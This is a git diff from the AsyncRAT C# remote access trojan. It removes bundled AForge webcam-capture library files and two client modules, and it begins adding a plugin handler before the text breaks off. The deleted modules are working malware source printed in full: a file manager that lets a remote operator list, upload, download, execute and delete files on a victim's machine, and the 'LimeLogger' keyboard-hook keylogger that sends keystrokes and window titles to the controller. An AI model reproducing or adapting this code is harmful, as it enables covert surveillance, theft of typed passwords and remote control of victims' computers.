); - - if ( crossbar != null ) - { - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToDisplayCrossBarPropertyPage ) - { - needToDisplayCrossBarPropertyPage = false; - - if ( crossbar != null ) - { - DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - } - while ( !stopEvent.WaitOne( 100, false ) ); - - mediaControl.Stop( ); - } - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - } - finally - { - // release all objects - captureGraph = null; - graph = null; - sourceBase = null; - mediaControl = null; - videoControl = null; - mediaEvent = null; - pinStillImage = null; - crossbar = null; - - videoGrabberBase = null; - snapshotGrabberBase = null; - videoSampleGrabber = null; - snapshotSampleGrabber = null; - - if ( graphObject != null ) - { - Marshal.ReleaseComObject( graphObject ); - graphObject = null; - } - if ( sourceObject != null ) - { - Marshal.ReleaseComObject( sourceObject ); - sourceObject = null; - } - if ( videoGrabberObject != null ) - { - Marshal.ReleaseComObject( videoGrabberObject ); - videoGrabberObject = null; - } - if ( snapshotGrabberObject != null ) - { - Marshal.ReleaseComObject( snapshotGrabberObject ); - snapshotGrabberObject = null; - } - if ( captureGraphObject != null ) - { - Marshal.ReleaseComObject( captureGraphObject ); - captureGraphObject = null; - } - if ( crossbarObject != null ) - { - Marshal.ReleaseComObject( crossbarObject ); - crossbarObject = null; - } - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, reasonToStop ); - } - } - - // Set resolution for the specified stream configuration - private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) - { - if ( resolution == null ) - { - return; - } - - // iterate through device's capabilities to find mediaType for desired resolution - int capabilitiesCount = 0, capabilitySize = 0; - AMMediaType newMediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); - - for ( int i = 0; i < capabilitiesCount; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); - - if ( resolution == vc ) - { - if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) - { - break; - } - } - } - catch - { - } - } - - // set the new format - if ( newMediaType != null ) - { - streamConfig.SetFormat( newMediaType ); - newMediaType.Dispose( ); - } - } - - // Configure specified pin and collect its capabilities if required - private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, - Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) - { - object streamConfigObject; - graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); - - if ( streamConfigObject != null ) - { - IAMStreamConfig streamConfig = null; - - try - { - streamConfig = (IAMStreamConfig) streamConfigObject; - } - catch ( InvalidCastException ) - { - } - - if ( streamConfig != null ) - { - if ( capabilities == null ) - { - try - { - // get all video capabilities - capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); - } - catch - { - } - } - - // check if it is required to change capture settings - if ( resolutionToSet != null ) - { - SetResolution( streamConfig, resolutionToSet ); - } - } - } - - // if failed resolving capabilities, then just create empty capabilities array, - // so we don't try again - if ( capabilities == null ) - { - capabilities = new VideoCapabilities[0]; - } - } - - // Display property page for the specified object - private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) - { - try - { - // retrieve ISpecifyPropertyPages interface of the device - ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; - - // get property pages from the property bag - CAUUID caGUID; - pPropPages.GetPages( out caGUID ); - - // get filter info - FilterInfo filterInfo = new FilterInfo( deviceMoniker ); - - // create and display the OlePropertyFrame - Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); - - // release COM objects - Marshal.FreeCoTaskMem( caGUID.pElems ); - } - catch - { - } - } - - // Collect all video inputs of the specified crossbar - private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) - { - return cacheCrossbarVideoInputs[deviceMoniker]; - } - - List videoInputsList = new List( ); - - if ( crossbar != null ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - // collect all video inputs - for ( int i = 0; i < inPinsCount; i++ ) - { - int pinIndexRelated; - PhysicalConnectorType type; - - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type < PhysicalConnectorType.AudioTuner ) - { - videoInputsList.Add( new VideoInput( i, type ) ); - } - } - } - } - - VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; - videoInputsList.CopyTo( videoInputs ); - - cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); - - return videoInputs; - } - } - - // Get type of input connected to video output of the crossbar - private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) - { - VideoInput videoInput = VideoInput.Default; - - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - if ( videoOutputPinIndex != -1 ) - { - int videoInputPinIndex; - - // get index of the input pin connected to the output - if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) - { - PhysicalConnectorType inputType; - - crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); - - videoInput = new VideoInput( videoInputPinIndex, inputType ); - } - } - } - - return videoInput; - } - - // Set type of input connected to video output of the crossbar - private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) - { - if ( videoInput.Type != PhysicalConnectorType.Default ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int videoInputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - // find index of the required input pin - for ( int i = 0; i < inPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) - { - videoInputPinIndex = i; - break; - } - } - - // try connecting pins - if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && - ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) - { - crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); - } - } - } - } - - /// - /// Notifies clients about new frame. - /// - /// - /// New frame's image. - /// - private void OnNewFrame( Bitmap image ) - { - framesReceived++; - bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); - - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) - NewFrame( this, new NewFrameEventArgs( image ) ); - } - - /// - /// Notifies clients about new snapshot frame. - /// - /// - /// New snapshot's image. - /// - private void OnSnapshotFrame( Bitmap image ) - { - TimeSpan timeSinceStarted = DateTime.Now - startTime; - - // TODO: need to find better way to ignore the first snapshot, which is sent - // automatically (or better disable it) - if ( timeSinceStarted.TotalSeconds >= 4 ) - { - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) - SnapshotFrame( this, new NewFrameEventArgs( image ) ); - } - } - - // - // Video grabber - // - private class Grabber : ISampleGrabberCB - { - private VideoCaptureDevice parent; - private bool snapshotMode; - private int width, height; - - // Width property - public int Width - { - get { return width; } - set { width = value; } - } - // Height property - public int Height - { - get { return height; } - set { height = value; } - } - - // Constructor - public Grabber( VideoCaptureDevice parent, bool snapshotMode ) - { - this.parent = parent; - this.snapshotMode = snapshotMode; - } - - // Callback to receive samples - public int SampleCB( double sampleTime, IntPtr sample ) - { - return 0; - } - - // Callback method that receives a pointer to the sample buffer - public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) - { - if ( parent.NewFrame != null ) - { - // create new image - System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); - - // lock bitmap data - BitmapData imageData = image.LockBits( - new Rectangle( 0, 0, width, height ), - ImageLockMode.ReadWrite, - PixelFormat.Format24bppRgb ); - - // copy image data - int srcStride = imageData.Stride; - int dstStride = imageData.Stride; - - unsafe - { - byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); - byte* src = (byte*) buffer.ToPointer( ); - - for ( int y = 0; y < height; y++ ) - { - Win32.memcpy( dst, src, srcStride ); - dst -= dstStride; - src += srcStride; - } - } - - // unlock bitmap data - image.UnlockBits( imageData ); - - // notify parent - if ( snapshotMode ) - { - parent.OnSnapshotFrame( image ); - } - else - { - parent.OnNewFrame( image ); - } - - // release the image - image.Dispose( ); - } - - return 0; - } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs deleted file mode 100644 index d88b64d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// Video input of a capture board. - /// - /// - /// The class is used to describe video input of devices like video capture boards, - /// which usually provide several inputs. - /// - /// - public class VideoInput - { - /// - /// Index of the video input. - /// - public readonly int Index; - - /// - /// Type of the video input. - /// - public readonly PhysicalConnectorType Type; - - internal VideoInput( int index, PhysicalConnectorType type ) - { - Index = index; - Type = type; - } - - /// - /// Default video input. Used to specify that it should not be changed. - /// - public static VideoInput Default - { - get { return new VideoInput( -1, PhysicalConnectorType.Default ); } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs deleted file mode 100644 index d6ae3e5..0000000 --- a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2005-2009 -// andrew.kirillov@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Video source interface. - /// - /// - /// The interface describes common methods for different type of video sources. - /// - public interface IVideoSource - { - /// - /// New frame event. - /// - /// - /// This event is used to notify clients about new available video frame. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, but video source is responsible for - /// disposing its own original copy after notifying of clients. - /// - /// - event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// The meaning of the property depends on particular video source. - /// Depending on video source it may be a file name, URL or any other string - /// describing the video source. - /// - string Source { get; } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - int FramesReceived { get; } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - long BytesReceived { get; } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - bool IsRunning { get; } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - void Start( ); - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - void SignalToStop( ); - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for video source stopping after it was signalled to stop using - /// method. - /// - void WaitForStop( ); - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - void Stop( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs deleted file mode 100644 index c5729e5..0000000 --- a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs +++ /dev/null @@ -1,125 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Delegate for new frame event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); - - /// - /// Delegate for video source error event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); - - /// - /// Delegate for playing finished event handler. - /// - /// - /// Sender object. - /// Reason of finishing video playing. - /// - public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); - - /// - /// Reason of finishing video playing. - /// - /// - /// When video source class fire the event, they - /// need to specify reason of finishing video playing. For example, it may be end of stream reached. - /// - public enum ReasonToFinishPlaying - { - /// - /// Video playing has finished because it end was reached. - /// - EndOfStreamReached, - /// - /// Video playing has finished because it was stopped by user. - /// - StoppedByUser, - /// - /// Video playing has finished because the device was lost (unplugged). - /// - DeviceLost, - /// - /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). - /// A error reporting event usually is fired to provide error information. - /// - VideoSourceError - } - - /// - /// Arguments for new frame event from video source. - /// - /// - public class NewFrameEventArgs : EventArgs - { - private System.Drawing.Bitmap frame; - - /// - /// Initializes a new instance of the class. - /// - /// - /// New frame. - /// - public NewFrameEventArgs( System.Drawing.Bitmap frame ) - { - this.frame = frame; - } - - /// - /// New frame from video source. - /// - /// - public System.Drawing.Bitmap Frame - { - get { return frame; } - } - } - - /// - /// Arguments for video source error event from video source. - /// - /// - public class VideoSourceErrorEventArgs : EventArgs - { - private string description; - - /// - /// Initializes a new instance of the class. - /// - /// - /// Error description. - /// - public VideoSourceErrorEventArgs( string description ) - { - this.description = description; - } - - /// - /// Video source error description. - /// - /// - public string Description - { - get { return description; } - } - } -} diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 0afea06..c09d965 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -72,70 +72,28 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - Form - - - FormChat.cs - + @@ -149,13 +107,6 @@ - - - - - - - @@ -167,10 +118,5 @@ false - - - FormChat.cs - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs deleted file mode 100644 index 4476f9b..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ /dev/null @@ -1,310 +0,0 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Text; -using System.Diagnostics; -using System.Net.Sockets; -using System.Security.Authentication; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Threading; - -namespace Client.Handle_Packet -{ - public class FileManager - { - public FileManager(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "getDrivers": - { - GetDrivers(); - break; - } - - case "getPath": - { - GetPath(unpack_msgpack.ForcePathObject("Path").AsString); - break; - } - - case "uploadFile": - { - string fullPath = unpack_msgpack.ForcePathObject("Name").AsString; - if (File.Exists(fullPath)) - { - File.Delete(fullPath); - Thread.Sleep(500); - } - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - break; - } - - case "reqUploadFile": - { - ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ; - break; - } - - case "socketDownload": - { - DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString); - break; - } - - case "deleteFile": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - File.Delete(fullPath); - break; - } - - case "execute": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - Process.Start(fullPath); - break; - } - - case "createFolder": - { - string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; - if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); - break; - } - - case "deleteFolder": - { - string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; - if (Directory.Exists(fullPath)) Directory.Delete(fullPath); - break; - } - - case "copyFile": - { - Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString; - break; - } - - case "pasteFile": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - if (fullPath.Length > 0) - { - string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < filesArray.Length; i++) - { - try - { - if (filesArray[i].Length > 0) - { - File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true); - } - } - catch (Exception ex) - { - Error(ex.Message); - } - } - Packet.FileCopy = null; - } - break; - } - - case "renameFile": - { - File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); - break; - } - - case "renameFolder": - { - Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); - break; ; - } - } - - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Error(ex.Message); - } - } - - public void GetDrivers() - { - try - { - DriveInfo[] allDrives = DriveInfo.GetDrives(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; - StringBuilder sbDriver = new StringBuilder(); - foreach (DriveInfo d in allDrives) - { - if (d.IsReady) - { - sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); - } - msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - } - catch { } - } - - public void GetPath(string path) - { - try - { - Debug.WriteLine($"Getting [{path}]"); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getPath"; - StringBuilder sbFolder = new StringBuilder(); - StringBuilder sbFile = new StringBuilder(); - - if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); - if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); - - foreach (string folder in Directory.GetDirectories(path)) - { - sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>"); - } - foreach (string file in Directory.GetFiles(path)) - { - using (MemoryStream ms = new MemoryStream()) - { - GetIcon(file.ToLower()).Save(ms, ImageFormat.Png); - sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>"); - } - } - msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); - msgpack.ForcePathObject("File").AsString = sbFile.ToString(); - msgpack.ForcePathObject("CurrentPath").AsString = path.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Error(ex.Message); - } - } - - private Bitmap GetIcon(string file) - { - try - { - if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) - { - using (Bitmap myBitmap = new Bitmap(file)) - { - return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); - } - } - else - using (Icon icon = Icon.ExtractAssociatedIcon(file)) - { - return icon.ToBitmap(); - } - } - catch - { - return new Bitmap(48, 48); - } - } - - public void DownnloadFile(string file, string dwid) - { - TempSocket tempSocket = new TempSocket(); - - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "socketDownload"; - msgpack.ForcePathObject("Command").AsString = "pre"; - msgpack.ForcePathObject("DWID").AsString = dwid; - msgpack.ForcePathObject("File").AsString = file; - msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); - tempSocket.Send(msgpack.Encode2Bytes()); - - - MsgPack msgpack2 = new MsgPack(); - msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; - msgpack2.ForcePathObject("Command").AsString = "save"; - msgpack2.ForcePathObject("DWID").AsString = dwid; - msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); - msgpack2.ForcePathObject("File").LoadFileAsBytes(file); - tempSocket.Send(msgpack2.Encode2Bytes()); - tempSocket.Dispose(); - } - catch - { - tempSocket?.Dispose(); - return; - } - } - - //private void ChunkSend(byte[] msg, Socket client, SslStream ssl) - //{ - // try - // { - // byte[] buffersize = BitConverter.GetBytes(msg.Length); - // client.Poll(-1, SelectMode.SelectWrite); - // ssl.Write(buffersize); - // ssl.Flush(); - - // int chunkSize = 50 * 1024; - // byte[] chunk = new byte[chunkSize]; - // using (MemoryStream buffereReader = new MemoryStream(msg)) - // { - // BinaryReader binaryReader = new BinaryReader(buffereReader); - // int bytesToRead = (int)buffereReader.Length; - // do - // { - // chunk = binaryReader.ReadBytes(chunkSize); - // bytesToRead -= chunkSize; - // ssl.Write(chunk); - // ssl.Flush(); - // } while (bytesToRead > 0); - - // binaryReader.Dispose(); - // } - // } - // catch { return; } - //} - - public void ReqUpload(string id) - { - try - { - TempSocket tempSocket = new TempSocket(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; - msgpack.ForcePathObject("ID").AsString = id; - tempSocket.Send(msgpack.Encode2Bytes()); - } - catch { return; } - } - - public void Error(string ex) - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "error"; - msgpack.ForcePathObject("Message").AsString = ex; - ClientSocket.Send(msgpack.Encode2Bytes()); - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs deleted file mode 100644 index 361502e..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ /dev/null @@ -1,200 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; -using Client.MessagePack; -using System.Threading; -using Client.Connection; - -namespace Client.Handle_Packet -{ - // │ Author : NYAN CAT - // │ Name : LimeLogger v0.1 - // │ Contact : https://github.com/NYAN-x-CAT - - // This program is distributed for educational purposes only. - - public static class HandleLimeLogger - { - public static bool isON = false; - public static void Run() - { - _hookID = SetHook(_proc); - new Thread(() => - { - while (ClientSocket.IsConnected) - { - Thread.Sleep(10); - if (isON == false) - { - break; - } - } - UnhookWindowsHookEx(_hookID); - CurrentActiveWindowTitle = ""; - Application.Exit(); - }).Start(); - Application.Run(); - } - - private static IntPtr SetHook(LowLevelKeyboardProc proc) - { - using (Process curProcess = Process.GetCurrentProcess()) - using (ProcessModule curModule = curProcess.MainModule) - { - return SetWindowsHookEx(WHKEYBOARDLL, proc, - GetModuleHandle(curModule.ModuleName), 0); - } - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - try - { - if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) - { - int vkCode = Marshal.ReadInt32(lParam); - bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; - bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; - string currentKey = KeyboardLayout((uint)vkCode); - - if (capsLock || shiftPress) - { - currentKey = currentKey.ToUpper(); - } - else - { - currentKey = currentKey.ToLower(); - } - - if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) - currentKey = "[" + (Keys)vkCode + "]"; - - else - { - switch (((Keys)vkCode).ToString()) - { - case "Space": - currentKey = " "; - break; - case "Return": - currentKey = "[ENTER]\n"; - break; - case "Escape": - currentKey = ""; - break; - case "Back": - currentKey = "[Back]"; - break; - case "Tab": - currentKey = "[Tab]\n"; - break; - } - } - - StringBuilder sb = new StringBuilder(); - if (CurrentActiveWindowTitle == GetActiveWindowTitle()) - { - sb.Append(currentKey); - } - else - { - sb.Append(Environment.NewLine); - sb.Append(Environment.NewLine); - sb.Append($"### {GetActiveWindowTitle()} ###"); - sb.Append(Environment.NewLine); - sb.Append(currentKey); - } - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("log").AsString = sb.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - return CallNextHookEx(_hookID, nCode, wParam, lParam); - } - catch - { - return IntPtr.Zero; - } - } - - private static string KeyboardLayout(uint vkCode) - { - try - { - StringBuilder sb = new StringBuilder(); - byte[] vkBuffer = new byte[256]; - if (!GetKeyboardState(vkBuffer)) return ""; - uint scanCode = MapVirtualKey(vkCode, 0); - IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); - ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); - return sb.ToString(); - } - catch { } - return ((Keys)vkCode).ToString(); - } - - private static string GetActiveWindowTitle() - { - try - { - IntPtr hwnd = GetForegroundWindow(); - GetWindowThreadProcessId(hwnd, out uint pid); - Process p = Process.GetProcessById((int)pid); - string title = p.MainWindowTitle; - if (string.IsNullOrWhiteSpace(title)) - title = p.ProcessName; - CurrentActiveWindowTitle = title; - return title; - } - catch (Exception) - { - return "???"; - } - } - - #region "Hooks & Native Methods" - - private const int WM_KEYDOWN = 0x0100; - private static readonly LowLevelKeyboardProc _proc = HookCallback; - private static IntPtr _hookID = IntPtr.Zero; - private static readonly int WHKEYBOARDLL = 13; - private static string CurrentActiveWindowTitle; - - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", SetLastError = true)] - static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] - public static extern short GetKeyState(int keyCode); - - [DllImport("user32.dll", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - static extern bool GetKeyboardState(byte[] lpKeyState); - [DllImport("user32.dll")] - static extern IntPtr GetKeyboardLayout(uint idThread); - [DllImport("user32.dll")] - static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); - [DllImport("user32.dll")] - static extern uint MapVirtualKey(uint uCode, uint uMapType); - - #endregion - - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..76ed17e --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs @@ -0,0 +1,85 @@ +using Client.Connection; +using Client.Helper; +using Client.MessagePack; +using Microsoft.VisualBasic; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "invoke": + { + string hash = 